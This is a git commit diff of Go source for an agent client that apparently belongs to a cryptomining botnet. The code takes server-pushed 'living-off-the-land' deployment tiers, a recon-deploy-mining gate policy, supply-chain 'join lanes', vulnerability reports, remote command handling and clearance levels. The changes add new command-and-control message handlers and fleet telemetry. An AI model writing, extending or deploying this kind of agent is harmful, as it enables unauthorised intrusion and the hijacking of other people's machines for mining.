Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 02:41:54 -07:00
parent 4b94776432
commit d9f36f182c
47 changed files with 4859 additions and 94 deletions

View File

@@ -62,11 +62,19 @@ type AgentClient struct {
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
adaptiveStrategy AdaptiveStrategy
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
atlasSkips []AtlasSkip
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
inheritedPhenotype *InheritedPhenotype
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// clearanceLevel is the server-granted security clearance (L0L4).
clearanceLevel int
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -382,6 +390,11 @@ func (c *AgentClient) authenticate() error {
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if resp.ClearanceLevel > 0 {
c.mu.Lock()
c.clearanceLevel = resp.ClearanceLevel
c.mu.Unlock()
}
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
@@ -479,6 +492,22 @@ func (c *AgentClient) handleMessage(msg Message) {
}
case "policy_update":
go c.applyPolicyUpdate(msg.Payload)
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
go func() {
hps := c.pool.HashesPerSecond()
c.pushAISnapshot(hps)
}()
case "clearance_update":
var payload struct {
ClearanceLevel int `json:"clearance_level"`
}
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
c.mu.Lock()
c.clearanceLevel = payload.ClearanceLevel
c.mu.Unlock()
}
case "command":
var cmd struct {
Action string `json:"action"`
@@ -498,6 +527,9 @@ func (c *AgentClient) handleMessage(msg Message) {
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
if c.handleAICommand(action, tailLines, command, path, data) {
return
}
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
@@ -1118,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
stats.AtlasSkips = atlasSkips
}
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
@@ -1142,6 +1177,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
}
// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
if probeTick%6 == 0 {
c.pushAISnapshot(stats.MiningHashrate)
}
}
}
}